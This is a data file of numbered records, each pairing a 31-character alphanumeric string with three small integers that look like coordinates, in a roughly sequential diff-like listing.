+2727,CS5Q8Z6D21L0YHLBDYR0NIZXEOG7SP4=,43,4,6 +2728,DHW9V1L4BKBZRB8WIDIVSX8DNLDVGO2=,43,4,7 +2368,ZPUA5R5Y14EJESIW69MHK6K5HQNPG0N=,37,7,7 +2369,58YU2DDL1I8F6DXG8W5PG6H5SL6JY4R=,38,0,0 +2370,AIBTN0ANHHXPC42WEOZMAJSZ8WP52FJ=,38,0,1 +2371,KXYWS5C55SHJX0KIFKYHB4VMY0X2EDU=,38,0,2 +2372,ET138UC3XOMWWQGI1Z8FCLUDW8I1A01=,38,0,3 +2373,MBGVLYA37E3U522MHKZ6FXHIA5Q43QE=,38,0,4 +2374,FWX2AU8VS59RP1I15B7HTTBBZ8DQS7W=,38,0,5 +2375,2UJRQHCJNZPHG2EHXG2OX0XWMP9HWPD=,38,0,6 +2376,5RZ2IIAZEZTIOS8WAJY1TOSFAIF867V=,38,0,7 +2377,YY9HMO3WL2ZSREIFY5BLZJ84QFYK5QJ=,38,1,0 +2378,5511HOVT71BDX42KEMULZQC1ZF3FTL6=,38,1,1 +2379,ANJ05M8RG5AU2AKI0TH4EJHSV24ATBY=,38,1,2 +2380,CMTPBPOW5ABP9BEYM9UQCNO15C291FZ=,38,1,3 +2381,D3JKBT93YKPJ4SI5ZBD5HW1M7HZEVMQ=,38,1,4 +2382,7UUI2M1EK7APURD1WIQ6DZHOZ4P287H=,38,1,5 +2383,80JYK3T69WSR0FKU4XF59IKDLIYNJ0P=,38,1,6 +2384,BPP3MNUK7VSTAKB0589PJL29DQCCKYE=,38,1,7 +2385,AEZQAVU1YB3WMJWREVAPC0IB6ZG765R=,38,2,0 +2386,UD82DGZI6D8S1RL0RCR548Q1OZ9W0QX=,38,2,1 +2387,2IY1X7OHQ2R1UMLWLJLGCJT814WK9IQ=,38,2,2 +2388,XETQ5WXD6O5UZ64N66QCLCZEYN9O6TA=,38,2,3 +2389,4KZUPRHTOBMFLYDI7WO6AM194O8XFU1=,38,2,4 +2729,Z20ER8LTLGQM0YE35HO4P4KYV18OC7H=,43,5,0 +2392,0OW4DQQ9YJ2KX7XEQ6X8BVVGLK2KPKM=,38,2,7 +2393,7L5OBE984OLEXBMLPU1ZM7PKBLLCOFX=,38,3,0 +2394,A9NSYX9LS5PBR7KTS2BTS1Q697BTAWT=,38,3,1 +2395,9N57EPBZI2QZCFK68JXQ6JN82BAS0AB=,38,3,2 +2396,WOZMBIYZLO7RZJPA5T7F9LVGXIICZBA=,38,3,3 +2397,LCCSVZN8K0WQFSG7RJ3KMCMEH4TS7YB=,38,3,4 +2400,9QA1UGK5PHXC5XAQSZ9BP5WSOO9S7C6=,38,3,7 +2401,7G0FCEBFKR424JEIFKBBL5FDNXHESLB=,38,4,0 +2403,GCB2JRSBSXYV1WJ98Y45X8RVW7GUWOC=,38,4,2 +2404,F3M0WM24GUKOVO22JIAUABUGJYNCU0L=,38,4,3 +2405,OH07T59054HRHS74W19J51EE7XD4UWR=,38,4,4 +2406,LGEMF94YBGPQZRUJUE1IVRZXZSMU9CM=,38,4,5 +2407,QC5V2Z9OXA8LIJOT9O7GRO1Y7SUNRFJ=,38,4,6 +2408,Q4KSGQVNLFIJV3W01SX42XK85HV1XBS=,38,4,7 +2409,MR8QJL17ZTFWOXXZONBGUNJLQILTTAL=,38,5,0 +2410,KRJ1BPSZ2XXL0KOUOEC8PK28QLTKIJE=,38,5,1 +2412,2VJYSZF6EBJKLOF74MPO6M23U3MNAFQ=,38,5,3 +2413,EHY39PB0PF0743WAOHW3PF6LGHZY3QP=,38,5,4 +2416,XYF2407ZG03NDJQW9YZD2ZW78RCE8WX=,38,5,7 +2417,M9B7GGLPMPWOQVIL0P1DCBUWDUKWXMG=,38,6,0 +2418,AL36Q53V28Q3HT89S1ZVVTDFSLC0OPY=,38,6,1 +2419,FKMGAUM1FBCMVDXSV4ORN3DFKU5LU2R=,38,6,2 +2420,X7S3KIYZ936PP5KQYW2XJY5FFWYVUMP=,38,6,3 +2421,NO5HXEN1ECWT1V5G10M9UJE84X9HYYY=,38,6,4 +2422,2QF0OBJ814IBBYR1WV91EF5Z6EZFJ1Y=,38,6,5 +2423,Z4BTVHLOHU8HOXBWF2D7MPAHEKCBDR8=,38,6,6 +2424,MBZWBSLJKVJH0UJXFI7SV2UWAOVYMOV=,38,6,7 +2425,CG81XE98ODT8P4JXFDW9SPFTNK4G6KI=,38,7,0 +2426,7BSZGGN5ICYR9M6KZK35WU3GB86CMK5=,38,7,1 +2427,2K0FLJYOZ07PFR4ZNOL2M23MPL0NIF0=,38,7,2 +2428,LQ5W53Q118G8SFCLGQY9OEO7HQX2AVN=,38,7,3 +2429,6EKFIIM3BSS4SMXQLFI1GWLZL04CLTN=,38,7,4 +2432,61YNBQKZ08153LPCLKAF3324JECDZ2V=,38,7,7 +2433,D7EJQT69SRS98Z833XYGEIP3I0ZA3RE=,39,0,0 +2434,KILH1QMMOZJJHKLZ2MKZ91ZYB0U7054=,39,0,1 +2435,ZBK534AUUXIKN3SMOE8L09OHRRY4M24=,39,0,2 +2436,6JOT4EF4JLMAP872OJE5Y55CRNKPWCR=,39,0,3 +2437,41QSZ4EX36PE19LXJNU2QWLJT4YGVVN=,39,0,4 +2438,3WGV6SJVUHKI6Z5AXE03STRBDQL0JJK=,39,0,5 +2439,K888LJRORCLEPRU9319D6GO13QD3NVD=,39,0,6 +2440,9E4R4CESR6FTBZ2XKD9BBLHL4GA1ZQ1=,39,0,7 +2441,HSR4ONIE8AVF5OYH3XDLEC6LZFWWTAK=,39,1,0 +2442,J5MKI574AKNMLVYDXAX4PTQ3R64O6DQ=,39,1,1 +2443,9VKL8MS8NUYNAPXLDZVDQQ8NM75PFMK=,39,1,2 +2444,EN8C17XMQ962GK4JVAB27BV7EE9BGXZ=,39,1,3 +2445,IMMABTKLN9WOI6BTSU13O0PJIZ5O9N7=,39,1,4 +2446,TGTVCWK0HNYLTD89CL1I2LNM0FMCQMY=,39,1,5 +2447,QOZ5IKPWGMJCFV5PDEHA6CRJZ7B83VU=,39,1,6 +2448,82TO3JM1ND24OZ4GD90AJOSBKM3S03B=,39,1,7 +2449,3FP7FJV730YIJ1JZ8AR1WVNCATJOAKW=,39,2,0 +2450,ACJQV24TTMBMPFAXJXRLP1ME88BU2EU=,39,2,1 +2451,K3AVK2JOYAFJ4IMROJ9XBYTOH9CXLBL=,39,2,2 +2452,7G2M670O74K7EBO18LWWF8RDVT53O6D=,39,2,3 +2453,W8FK0WWUKQHXRY0IE5IL8P2IMHFRWJ4=,39,2,4 +2456,PPV1J53QW4JN5Y2EZEPJYG9NOTKKB27=,39,2,7 +2457,G9KL7AVD2NFJHKR4JMALJNJLOWXWXYV=,39,3,0 +2458,SJ7J2FBAZWYYP89XJIJDW3IL7RYU078=,39,3,1 +2459,KZRYAKD9D5TAJ5AX4L3O7ZD23YOFMDO=,39,3,2 +2460,NIIRIAT5OCQ3LCXSTXAQ7F8U550YQI9=,39,3,3 +2461,L6ZV7IG2MO6HU9F35PH602DNZ47GF60=,39,3,4 +2730,GY2QF35OK5BOLA7NUAVTUCPEHM3FLTW=,43,5,1 +2464,U9OBCTXPAI2AEHE7JDR3AZ3O30A4M5U=,39,3,7 +2465,3EG7K7ZZBPXM0458WZU84H68Q3FTA6I=,39,4,0 +2466,IHCTN7LZAO3GKQE26816DKPQW05BVHD=,39,4,1 +2467,LW35XSFB528FULK2DL5Z50FMZO5F5UQ=,39,4,2 +2468,OZ7HYAZK7QEA1JVLUMYIY3QFCWPE6CZ=,39,4,3 +2469,PQS5S5GUXHBWXPWPTEADB1C5A2IJH5C=,39,4,4 +2470,NGFRSQ6QZ25B382XMZSHS6LDNAPWWMC=,39,4,5 +2471,3T6GH97QRC8K1JJFWH0240JIBX8CQJX=,39,4,6 +2472,1DHEFRWLQBDDCL9Q3L5TNSHF7KFLI1M=,39,4,7 +2473,Q97VOU1NPH5H8HCCC56NNAD4XJS0XUW=,39,5,0 +2474,997X6DJKZHM6V1FGZDY0YISPNW7YEBV=,39,5,1 +2731,WGQYKY6SZY744ZGA127ZKT94EVE0743=,43,5,2 +2476,OTCQJHTFXD2EBA9MUXYKBSF01HBUUN8=,39,5,3 +2477,TLLME8FTMI9HGI98RICDXB59FMHU5XM=,39,5,4 +2480,90NDZHK7BZ5POW51LQHRZSKOPFPYU3H=,39,5,7 +2481,V74DC222COM0FH82TQUKAR42EYJUZGD=,39,6,0 +2482,YGDWGZWGUFWIFFT1P2RAEANGD2ACEH2=,39,6,1 +2483,W6QXP0T2J1EK1A5Q0KSXFGCIQX52XXZ=,39,6,2 +2484,U5PKI5H9GGRSDVWAC2XJSE9BAHOV414=,39,6,3 +2485,VSTJCBJ53Y65F58F4XKI4N0WLNT13KI=,39,6,4 +2486,8BTMP0YS7E1V3T4FPV8ACJW4IVTQEJT=,39,6,5 +2487,E0TA57HBY8YUQM3CU0TKIQMGMWSTE6V=,39,6,6 +2488,90LA3BRFXTU3PXLOD3JM2MFOHV5NPEZ=,39,6,7 +2489,0ZQG5HVTSZML9BTJNIU6U4ZW2WBHVQM=,39,7,0 +2490,WYCAN4UOQTIDJOSWKY3NSS1PGU6GCTW=,39,7,1 +2491,ZBULW0GM7H9X70826EKTMKUWHLXQ09P=,39,7,2 +2492,TPKILT0M7DL60IGQLJ03XL3WO0QBD0H=,39,7,3 +2493,QNBGN0HO3JAY0LZ1DK56K71PP0R08CJ=,39,7,4 +2494,QA28B04I1YEP5BG4IQ44JM3ZAGGJF8V=,39,7,5 +2495,YCPYIJOJHKJF00LD5EH9PR70MS0QTKL=,39,7,6 +2496,0NCDXYYIW85DTHQL4XF18M0MX9A3HC7=,39,7,7 +2497,6OK1V19SHU210B0K99WQKYQ3U5ZLD3F=,40,0,0 +2498,UG41FUEGBTRQJQXJFW3R37EZ0VBG06C=,40,0,1 +2499,QQQL8X4BRH1XNFN7AABWAFYKLENUGTA=,40,0,2 +2500,UGCVJ42KP4KWJG5CC1GNERJEU4YLNHO=,40,0,3 +2501,342LJSEDTZG82IYSUSOW0PWUIIEXSW2=,40,0,4 +2504,55MJ4D0ZGYXRJSX51X0XONBBKGVAVCQ=,40,0,7 +2505,8TL30VDYRS2VHNZR0SOFZI4VR3VZ79A=,40,1,0 +2506,PEU8HV9M3G2BXS17WILH3D8LFA69FEC=,40,1,1 +2507,R6E230YB9K0ATO4NN2RGRMBOIDI8E3X=,40,1,2 +2508,3R6I3STVMZ8GSNJLW54DTR54QY81GPL=,40,1,3 +2509,8ZXYPO1N1X0Z3RW1EINYOKG59RU4TDE=,40,1,4 +2510,AHUJ6T0EAMTJA82Z85RAK12QTFL0T3Y=,40,1,5 +2511,A4S1YBV3WIABUX1Z4JCJ2BUD18BWCT8=,40,1,6 +2512,NQSWQPF5850NIHS2QN93O18VVXYWL11=,40,1,7 +2513,7WEK1BHOGADNOUMF727E9G63F8MNT84=,40,2,0 +2514,Q4XX1ISICIBKCVL4GLICECTHUG613FX=,40,2,1 +2515,VRWQ10U8BRACAIOTIPP4FWD0CZM6AVT=,40,2,2 +2516,PF0T63N1RJB9L8ETJE8QOD6R75T3SMQ=,40,2,3 +2517,QKI5PVQNABC8UAZXOJP7RFFGPK7B9BN=,40,2,4 +2520,Q1SPRHWSC5JIUW301KYCOMIVRVZN25A=,40,2,7 +2529,P3ZEFKGV0LNJYLFPKFSN4VLDPZN75TV=,40,4,0 +2530,G5SDWX7OXS0T2QLAL6QO0I3YVEOV79T=,40,4,1 +2531,9TCKGBGKBHS0LFNFS2C1UDISQWKP4YC=,40,4,2 +2532,RNPNCEPD74QSP3VBVR0F70C4HAEKAFD=,40,4,3 +2533,7NL6MB0AHWZMTBIRIW23EV1D6CM5WDI=,40,4,4 +2534,AXF243WP4AJ730ZZNFKZL9I0EXQHH5H=,40,4,5 +2535,9TTZSVYNNFAQD2PUJED5QTA3XOTELM5=,40,4,6 +2537,DX06G1K42Z10DC1ZNL96LJR7LB9QJII=,40,5,0 +2538,1SVWZXROSO4C8CRCCCSZIDHOMMBD076=,40,5,1 +2540,DPOZRP6KG38NNSQBBC8WQMYUY8U38RN=,40,5,3 +2541,OKJ7IYKEEXW8UYANFGB4P9YOQZ436WI=,40,5,4 +2544,FJOMOQDO6089MWSBK27CGD7DRCFOFUB=,40,5,7 +2545,TL9UCZ81MRXXPOK9AI4DMDDG04ZMQ56=,40,6,0 +2546,6HXLVN5FEN5P3HROR397VD4VE1UJMDX=,40,6,1 +2547,WH0X3ZWFD8N6E4QNQTWLS8LZNFF2X63=,40,6,2 +2548,U63266F00K8LQ9ZAZ2NQ4MZATE1FC9A=,40,6,3 +2549,J1379R33TJGCX9YVCYPLH2C9EKBJYOJ=,40,6,4 +2550,ZMX1G7NVXBBUSGR5VL0943BM8ZX2RDL=,40,6,5 +2551,P9QUKNVR8V3RXEZMOCSD3Q0UIYHAVQT=,40,6,6 +2552,5J0KA4QLQSIGEKMXK43LSHUPIDHI2SG=,40,6,7 +2553,W9VXYCZ441NYGIDZED2X8IJJ092ITB4=,40,7,0 +2554,DI8RPNJD400P062MB5Z71ACGYIFF0XD=,40,7,1 +2555,L2O5TK57NXHYLTEFNR1CCZQGA4RW5R2=,40,7,2 +2556,4LH43YOI5EKBY9NGIYUK45GR1XUNZPV=,40,7,3 +2557,5R76CD9J7JE9QDDEUWC09QH7WO72TBT=,40,7,4 +2560,Y22B014Y7J7P7JG2X5TR8Y47D1AG2XW=,40,7,7 +2561,UXO3J3ORAPF2PR5A20NTQYERVEGVIU2=,41,0,0 +2562,6AMFEWMXIURVZBKMSRQUYEEIBHVHHX5=,41,0,1 +2563,G1BUSS1DWRL18JIJ5S8JWAQ65Z9Y3JR=,41,0,2 +2564,BB6EKEMNY3KPU1LSUXSZYWOIBJUKV61=,41,0,3 +2565,9B6BG5NNOEFEMAQL0AJGFMGOS72D1H3=,41,0,4 +2568,3TSYZSS18F4HERXUT5XG61QSMEGJUS6=,41,0,7 +2569,Y1YE0YDMFA2KT19YRVHE6H2AU1AXOWS=,41,1,0 +2570,ULLGS0UHE7B9ITVURIZ7OXDHQ88FGXP=,41,1,1 +2571,U3J86HOH2F48SLXFUZ1K5IQGWTQYYGR=,41,1,2 +2572,NHTV533XWXBFXSEZVU9Z5E7148NQLQT=,41,1,3 +2573,YN8OAVT7KS31GUTP8014ANIGL5R1M61=,41,1,4 +2574,AYHV7RVE82O7LM1UIY5O7T9A51VNCTT=,41,1,5 +2575,8GCPTGGG2FOR0B58B60ZJXJ43RX61LI=,41,1,6 +2576,P2OD0R2YRGC20CNJ495B2E91CW62UA3=,41,1,7 +2577,NJ0598YOSS4X1RPE6R8411WFV2LJY0R=,41,2,0 +2578,4SBRIFV91CELLFQVH04GF31E9S5F3DQ=,41,2,1 +2579,YQBP91QJERWL5OFJR0O3XDUUIR052GY=,41,2,2 +2580,3V5CGESG3PV2GAWKXU81OS6610LPIEZ=,41,2,3 +2581,V2L1HJCU0GBKDX901B5YK5ZSJNZ9CX0=,41,2,4 +2732,WBZ2KAZ04GMJL3VKC5L8HYTCLTKHASI=,43,5,3 +2733,YYG39OHK0YHA9LZPAGUTO927REGSFL8=,43,5,4 +2584,GSNTG42CI66Q204ZRTRWL2HR4KTXRCM=,41,2,7 +4486,5YOMA0AWIWGMF03SDEE26VOQO3WILTZ=,71,0,5 +4487,1FGWSCYLATHUBV66UUB65NHQAIO7L4D=,71,0,6 +2736,EI6P9SWSMX9ZYVSSK4999VBO833DYZD=,43,5,7 +2737,L6WNV9NV5F3QH6GJSLK6EC0QFFX15ZL=,43,6,0 +2738,QVEWQP063COIXXO0DUW3X65X35EXBVX=,43,6,1 +2739,ZTWKHES6W00XVA6MQ291TUIKBMOPLB2=,43,6,2 +2740,L4UP9NKIXKX1K2TWJMOMW24MLOE9T7S=,43,6,3 +2741,AGL8BKVM7FSVOQ26U2YC04HGP6Z2U81=,43,6,4 +2593,IHQ3II3YFAWVL9I5YUM5D6XH2GS7R21=,41,4,0 +2594,S7ENX91PWE3G6CH8YPPU9IWLU65GUDU=,41,4,1 +2595,8EWDLHXEMCSICU8JXAAYZTVW3LMZ6O9=,41,4,2 +2596,38BXRIES28WK1Z94579IY9WMGXX3M2A=,41,4,3 +2597,S7BTKHUM19G096VBMNEZCMZ3YW559RW=,41,4,4 +2598,KZQHIIIG5PUBMGNZ0GPYT0FNZGCWKVH=,41,4,5 +2599,FAH1WPKBGUJHKM8WWB53VDX5QLL203L=,41,4,6 +2600,1BJSMO4HIEZPXO4R94NQM3JY8B08CBL=,41,4,7 +2601,3E3OY8KH9G9FUEWPEDRIGFM756R26AY=,41,5,0 +2602,AXUC3VXN8QC8M5V9SGHO3EM6TCCJV9T=,41,5,1 +2603,TK2ZNFG2EE107XMOQN4IKPFM6JWJ17R=,41,5,2 +2604,K5MMGCLMBSYT4LD0O2LKCJX116NSNRI=,41,5,3 +2605,8NLES4J4FXU8ZI7WGD1UQTNXH6DMM5E=,41,5,4 +2608,B0OJB9FHA9PG98W357NE338SZ4GLJRH=,41,5,7 +2609,E5YF2V23UNUHHIJ285QAT5KNZX0DFEK=,41,6,0 +2610,JTZVDR8I30IEK58B6XXZ9TCXJS7MJKQ=,41,6,1 +2611,C0IF7J1C42F8O74L5T8W5ABSCUMWZWS=,41,6,2 +2612,T0OQWJZP59GKMTFZ3GKKXTI3YD5HV12=,41,6,3 +2613,QKGL6Z6ZLAAIAS2MD9K4HBLPFJAQ3QG=,41,6,4 +2614,SOPRI4CYF138OLXHAR6MD47EWAA899U=,41,6,5 +2615,DN13AHV64ZZ433FGR8VAHU7YN2IIL8I=,41,6,6 +2616,QX6HRG4HIT6ULIJ8OV19FMR1AFCT7XV=,41,6,7 +2617,OL07UTZOMFYTWKGYFY1SFS07OCW4O5Y=,41,7,0 +2618,YVITW91RA08M5CSHKWVUIX1Y1QLAFH1=,41,7,1 +2619,P6S5P42HSIBUDAHD5QRFKVFJRTGHC0B=,41,7,2 +2620,DBHRQ6JUO795WOFPPEUNQ92ROROXGRW=,41,7,3 +2621,MQWRL18JDQB7CYO883RM7YXANR6CZC2=,41,7,4 +2624,90GXFJKY0WKSR5L31UZ51UTUGBOSMKR=,41,7,7 +2625,ABL9I2JVGJMLBRBLJSCJGCDBCF2X06V=,42,0,0 +2626,1B67Z93FH0PEAM8UT4A8XTD2CHYNYZ7=,42,0,1 +2627,XYMOVSPNMFTFVUTAXQ9KA0F6NYOV85J=,42,0,2 +2628,55WVE4H1FF0PZXGXVKZ0G7KGGILH00P=,42,0,3 +2629,G0U4JWBIXXU3GJH49H1XMRYDTGE7U0O=,42,0,4 +2632,OVRDL6RXG85KWUX2GW5FO695JWSB87A=,42,0,7 +2633,AN5DF3F1LOS9SDL8NZ80H6TAJNWXI1J=,42,1,0 +2634,QIKK8CDNCQ4ZSZG77BEH8TZA7QTLN7E=,42,1,1 +2635,6YU37GT0630AJ4AGP6KNEI6EVG0H2W9=,42,1,2 +2636,H49C241MA7PSMYVTH1QMPO1ZQ00D0VC=,42,1,3 +2637,RX8H8W1Y38GSWEIR3RY975D25QO6DO2=,42,1,4 +2638,XAL2BBKTBZKXI8XT9Q950SWUPW6MS94=,42,1,5 +2639,KD2JQHIQO3X40VR5Y34736VDW8JUXP2=,42,1,6 +2640,YVRVLNNQPJ2I93WLDI7O1MOLEO0J8YU=,42,1,7 +2641,7SA4PVHDP8VMAZA3MOX2BM56VCJS3TU=,42,2,0 +2642,94PAIYGQV74785VHMW8OZ9E6W7O3U80=,42,2,1 +2643,R84WEJRCS98GHSMIFBQE49XX5FJQLR9=,42,2,2 +2644,LCRN288GP0JYKEJ0OEX2LHDM1O92SRT=,42,2,3 +2645,JB80G9UJ64OJA224P7YU64IWRRWK4TC=,42,2,4 +2646,EGSMY0K9J9S58T03VWRRO5924UCVURW=,42,2,5 +2647,VFHLY2O8VCCV63CA18HNJ0EHZL2G8W2=,42,2,6 +2648,X8VHHVHOPKOIX79COK4YYGGNWRAS7J0=,42,2,7 +2649,B2MJ8ZS53DA1A9FARAIF454T5YU70VB=,42,3,0 +2650,MO4ZQDEDQUYGY3N7EJNM1F0N72QEPGA=,42,3,1 +2651,C65QYCAQ0K2R4PEKTIM71RK6F48ZSYN=,42,3,2 +2652,B1SLWKE2L0CY5L6DNEH5ZJVIM3EKX9U=,42,3,3 +2653,NPJFS2TNSS85J7ZCBB1C3YQFABJQDGN=,42,3,4 +2656,WK19FRHFA8EA39JHKSZKB77SZBHJ82Y=,42,3,7 +2657,9094OYD9IDLTMDCEMEEIZ3BX9TF0QSD=,42,4,0 +2658,W6DB1NBZN005CB1X7CJTED1IBE1LK8F=,42,4,1 +2659,25C7WHC6S4UGNU9YDN9P4Z3Y4JMWPTJ=,42,4,2 +2660,RAKN0I9J44T1UOMXKD7F0QQC4NFMWPA=,42,4,3 +2661,Q6BOPZWS480NSDMD38PBYYMCW1ATRPK=,42,4,4 +2662,0MQR2HXZQ4CSMOWOUMHHB5GQJAXM6FX=,42,4,5 +2663,ANB9Q25KF46DFGTT6C3WRZTGS59EI4P=,42,4,6 +2664,FNUKWRL2J6ANX3W2WXVA2FSFPL0T717=,42,4,7 +2665,A2XQNK76MLSAOCJOYHV1MZUWX3S4R1C=,42,5,0 +2666,06BZ7V5RQF6I90T79WZ924Y0TZ13KAI=,42,5,1 +2667,KE4AL170WL9G6GIONEBSCT1E15R1TIK=,42,5,2 +2668,QRGF37TC6OFOFRJ0UTFNQGJ560L8ZD3=,42,5,3 +2669,EQTAEF307PHN5U0C2K92X54TARN4AH2=,42,5,4 +2672,Q5049SQ384P1F81W59MEHJ5F63MMU2F=,42,5,7 +2673,0VKZBEKHSVBUVB77EDG777SR2EIQSR1=,42,6,0 +2674,9YORK5B1NLR8Q8KBVWUENKHUN14Y4S4=,42,6,1 +2675,NXPNL353PDV8OKX3Y4ZA81ZQW6W8UCV=,42,6,2 +2676,0OGVYF9JGDO12DXXAA0RFSW7XK49R5I=,42,6,3 +2677,P3W5S272UXR36TEN6FPEWJD74MZ1A9W=,42,6,4 +2678,YX660ZCZ8YPCEKWF4XX0SYGK6ID9065=,42,6,5 +2679,HDT0SR5CKYTZIINUAY0DDY11C9J4PAW=,42,6,6 +2680,1W3IVR9ZCS0P7E0VK4ZTAMYS45P9D0I=,42,6,7 +2681,VCG6F77OFN00YF5J9NVBDE4JV4M63IZ=,42,7,0 +2682,VJ7D107VK2RSACNVE430LQF0UNA583R=,42,7,1 +2683,VH5XJN1D5E3VDIOMD932RFNO7YTFSZ3=,42,7,2 +2684,MSYC9Z5LPMP1FOG3YLXB7CAAYCPHFLS=,42,7,3 +2685,K9E5LTHMN3EZG9PZ0MWOPSE9NY8TO4L=,42,7,4 +2688,5FDY9XPEMCNJGKEWOQT6UFQTDTVEPVT=,42,7,7 +2742,M76KFUK8PH6RWIDLL5RQUIBJRHEL6A1=,43,6,5 +2743,GXDZF39OSHLH90HKS1DBCOPXYSGKDPK=,43,6,6 +2744,879G8QF0Y959H4CLELLXNC8ONKPRBYJ=,43,6,7 +2745,P8Z1E5MMKFE0HIIC4XY885KR4SMVMX3=,43,7,0 +2746,LKM5B3VWAMG7JTPQEMHED0JOIK0SSJ0=,43,7,1 +2747,OJGDRD63OVWMDZ69XMR1COYT7QGCH2P=,43,7,2 +2748,9YHKHL3Z1EWQS44IFLFHILZ50DJ8QCM=,43,7,3 +2749,EEAGW4IKAOPITTIIL5CA4AST4ILFDI4=,43,7,4 +4488,I8NE22CH2DJZ2B446M5VIBY4J3NK5QU=,71,0,7 +4489,PMX3DL9AEMCA2JAJP3DHQU68M3KVJTY=,71,1,0 +2752,1TSRLHS1CEQFMJQVOIS5FIUYM4V9U2K=,43,7,7 +2753,CRDQI72S6ER2NDDZ1XE6349AI6HPOOA=,44,0,0 +2754,VHC7P0J7G4EK95NQIW6IH7JH7HTT8WZ=,44,0,1 +2755,63VDIPSFTH22PIQG80GFPUPXGGGVWDZ=,44,0,2 +2756,463XKWLQ6EJQJ6JNP10NE12R228DP0X=,44,0,3 +2757,Y41X0678XQYCOFMTIUEKZZAOHAQ764C=,44,0,4 +2758,AIZR7LWZST439WDWJ1DW4MMAZXS3KWS=,44,0,5 +2760,OD8TKUON3AUMFO1B8KRZV0LAD8EMNCF=,44,0,7 +2761,JCAKK8FGF6H2NEV816SJZHC70Z51OMP=,44,1,0 +2762,UT7M0FJNZO9H5ITB4C8EKHM8HAWBZR2=,44,1,1 +2763,0QC97RGZMS3SL2ZGU48DO57H50UP14J=,44,1,2 +2764,MUNOWICVGXRAU5B2C7APCXPG6QJ3R1D=,44,1,3 +2765,M7PVH6AKY25FKURJLQ5KE284KDEY22I=,44,1,4 +2766,9DZSEY1PQ7GT6Y8N6IZT5FRUJKN504N=,44,1,5 +2767,KGTDCNM0NRT2HMF63VEOFULK136JZY1=,44,1,6 +2768,U0R82UVKSRIM9007QPOR51W6LK1XIBH=,44,1,7 +2769,HQ7UYMUAGTJUC2LGFTAQUKGGEQX6I86=,44,2,0 +2770,UD9QC9BK00JGYSFMWMWKWCHGTTBYDG5=,44,2,1 +2771,YA9CLZ6AP0D50VRBQWAJ8NWJ5SXCOP5=,44,2,2 +2772,5M5GFWU6L895IMW8YL7171MAYU672LL=,44,2,3 +2773,DPQRUTHB2VOE8W3QEGUHFEEXHPHP2RS=,44,2,4 +2776,JK2OOU1A4NDNZPG8Y85CWHV9D7FY5TO=,44,2,7 +2777,9Y04FNLZBS0PLN6M7NO7AQIDGZCG72C=,44,3,0 +2778,7TR68I2FGMQ4BEYNMNOQEG6GMRFJAWH=,44,3,1 +2779,NQ6DWZMA2EQ3BSUQ5UGAVDOU1SZZX6T=,44,3,2 +2780,DPVIMAHBFQURW7EQ86WA0GHQSCQ1RGM=,44,3,3 +2781,9PO9HWX3TO92WFNOXLOA3KWTPRHSK9K=,44,3,4 +2784,NKASEWWOD7PKD2VWLRO0MK40VJCHA25=,44,3,7 +2785,RYGTX3XRDHWXG2LGG3UJ3PVEVUMME0E=,44,4,0 +2787,4222RFC47WIA8FLYAA98BZI8CIOU4DG=,44,4,2 +2788,L0RHDNG9JQRA057S42R57QDELKK4TFT=,44,4,3 +2789,OCVT1S20HS26P6MVP6K10UY8X0CC987=,44,4,4 +2790,IMLDQCKRRPS056AK20GS55K2FDCVX4C=,44,4,5 +2791,CUYZCRZD01HNB1FSIZALSXJZ3TMYN5A=,44,4,6 +2792,MLDPLZBBM16VQKD6XMDL8KXHAGTOO2D=,44,4,7 +2793,8U0OZW2D3L35PBDQGYZRGFCE95G39TV=,44,5,0 +2794,I2L8M3DF7L2EZ8AIQ5028651FISWY8I=,44,5,1 +2795,B019QQAAF8H6HS2FTE5XORVHPGI851I=,44,5,2 +2796,C8S2X2JG6RFN32B8WDDYIZ666RTF8NF=,44,5,3 +2797,N4TOAP67ORQBVYR3OHHTDVXPVUBLUXD=,44,5,4 +2800,UMY5RTCKJJE9URVQ254BLO7TS1FBASH=,44,5,7 +2801,8757008HO7WG88YO1NMCDVLS3MFNC94=,44,6,0 +2802,61M0QSPPP4MNQ2PYB8R6Z1NK43UYUOG=,44,6,1 +2803,BEYIHDT87R0YTANT8FCMNBQQN6ZICQF=,44,6,2 +2804,JC4U5UMHSH8W7XTJT2YBCC2TUHS4KNI=,44,6,3 +2805,EJWHYMSBE0TTRZVWZKAHGO1YUE0U31J=,44,6,4 +2806,3T5VP3LSUFF8AL0X6COW7RDII6ESL37=,44,6,5 +2807,7WEORLFWWQ0CZ87UPQENPLGXAZUKB76=,44,6,6 +2808,OAKJQ176CGXQDZ5YR23QB1VHM3LMCH6=,44,6,7 +2809,1RDY3BA2XJSDBJWV2UWV9COBA28ME7A=,44,7,0 +2810,QWFP1Z5C5CF6UMZZBEQE2HW2GEC5ADT=,44,7,1 +2811,RM58MSZXYYSJ8Q4NCYETYWJ1QDBE42Y=,44,7,2 +2812,1X1SBFU1U80HGKI8P8SD77SKL2YHMV9=,44,7,3 +2813,BOBGGZWMRPUQFVG71SNG2G6FR2D8T4B=,44,7,4 +2814,JTWR8VQLJ1OUD1RP06YTJ2MS7OZYG2J=,44,7,5 +2815,GNIMLZOXI0JFXHQBOUCW2T8YQ6NUU27=,44,7,6 +2816,CYZNPYXIM1TGD5UIPLTGCZHX7SBLYCP=,44,7,7 +2817,NNQ8BL7VYWNUDTOKX13JARLPO36KS10=,45,0,0 +2818,KU2FZOWOH20YXPI4Y0E3NRAF5030E09=,45,0,1 +2819,9YBR7KYRX14XPSKTPPEUNJXS7C7SHCU=,45,0,2 +2820,3NOEIMDKBY6POP367HP255IFJNYEV1J=,45,0,3 +2821,M4ISGE0585GLBVQVF8UF4NDOQIOOFB1=,45,0,4 +2822,29X4Q7EVVAK4OCA9ZO3K7FO9XO9TA17=,45,0,5 +2823,0F844ILBMQ5KPYAY4K3SEXRSY5CY1LR=,45,0,6 +2824,6EZUHN8ZZRYEI99EXB3SZ6ODCAHKQQW=,45,0,7 +2825,ZQD1WWOZFVKMHSGITXNEKQUW0H9NQA2=,45,1,0 +2826,SBHZLZFNL7C8UO8O6MA3JHHV5RMEI9G=,45,1,1 +2827,46ER5069T54PVMPEN4BHK3N2UBEU419=,45,1,2 +2828,ED9T8SQGLZLDFIXSV39AF8BPSZOL289=,45,1,3 +2829,C2Q57X1QNNH25R58WZ7MTV37VS9YEYT=,45,1,4 +2830,37TFHPRFNQLH01HLTREKK8T46913NLU=,45,1,5 +2831,RBZF4EQS8XPF7BT1MJ5UG3D9Z3P5YWB=,45,1,6 +2832,NHIH2155HR59PGWOVI0T1FK636DZ2RZ=,45,1,7 +2833,7GC6OD1W1IXGGS10CXJBVOVCRBZVKBQ=,45,2,0 